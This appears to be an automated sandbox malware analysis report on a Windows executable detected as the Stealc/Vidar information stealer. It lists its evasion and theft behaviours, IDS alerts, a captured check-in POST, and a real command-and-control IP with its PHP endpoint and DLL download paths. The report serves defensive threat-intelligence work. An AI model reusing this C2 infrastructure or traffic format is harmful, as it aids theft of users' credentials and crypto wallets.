Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1501907
MD5:	5cddb9535136733f8ff766a5db8f1d30
SHA1:	9de2943fb24fc7b6233d9e8635d1ca948bd136d8
SHA256:	b04d1f940f4c4714a61a718a463908354bcd6dcd07782ef515678164c3f2a2b7
Tags:	exe
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4960 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 5CDDB9535136733F8FF766A5DB8F1D30)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.100/e2b1563c6670f193.php"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4960	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4960	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4960	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 1 entries

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T18:17:57.710181+0200
SID:	2044245
Severity:	1
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc Submitting System Information to C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:17:59.050169+0200
SID:	2044248
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:18:07.428453+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting browsers Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:17:57.703614+0200
SID:	2044244
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:18:10.521453+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:18:09.938661+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 185.215.113.100 - Destination IP: 192.168.2.4

Timestamp:	2024-08-30T18:17:57.957946+0200
SID:	2044247
Severity:	1
Source Port:	80
Destination Port:	49730
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:18:06.790216+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:17:57.419769+0200
SID:	2044243
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:18:08.283729+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:17:59.598948+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern HCa - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:18:05.616947+0200
SID:	2803304
Severity:	3
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 185.215.113.100

Timestamp:	2024-08-30T18:17:57.950893+0200
SID:	2044246
Severity:	1
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAFCAFCBKFHJJJKKFHIHost: 185.215.113.100Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 41 41 36 38 37 42 46 46 43 45 34 31 38 36 36 34 38 36 36 33 36 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 49 2d 2d 0d 0a Data Ascii: ------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="hwid"9AA687BFFCE41866486636------BAAFCAFCBKFHJJJKKFHIContent-Disposition: form-data; name="build"leva------BAAFCAFCBKFHJJJKKFHI--

Source: file.exe, 00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100
Source: file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/freebl3.dll?
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dll
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/mozglue.dlle
Source: file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll
Source: file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/msvcp140.dll2
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/nss3.dll
Source: file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dll
Source: file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/softokn3.dllO
Source: file.exe, 00000000.00000002.1884629428.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dll
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/sqlite3.dllw
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll5s
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/0d60be0de163924d/vcruntime140.dllep
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php2b
Source: file.exe, 00000000.00000002.1884629428.0000000001304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.php4_
Source: file.exe, 00000000.00000002.1884629428.0000000001318000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpDBKFCAAEBFIDHDBAENy
Source: file.exe, 00000000.00000002.1884629428.0000000001304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpH_
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpYb$X
Source: file.exe, 00000000.00000002.1884629428.0000000001304000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpd_
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpe
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpf
Source: file.exe, 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phpion:
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phprowser
Source: file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.100/e2b1563c6670f193.phptware
Source: file.exe, 00000000.00000002.1883664465.000000000096D000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.100e2b1563c6670f193.phpion:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1909179031.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FHIDBKFCAAEBFIDHDBAE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1730183845.000000001D7AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1730183845.000000001D7AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.1905935707.0000000029853000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1884629428.0000000001333000.00000004.00000020.00020000.00000000.sdmp, FHIDBKFCAAEBFIDHDBAE.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1740076715.000000000138F000.00000004.00000020.00020000.00000000.sdmp, KJECFHCB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/0x1024
Source: file.exe, 00000000.00000003.1822393224.0000000029BCB000.00000004.00000020.00020000.00000000.sdmp, HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
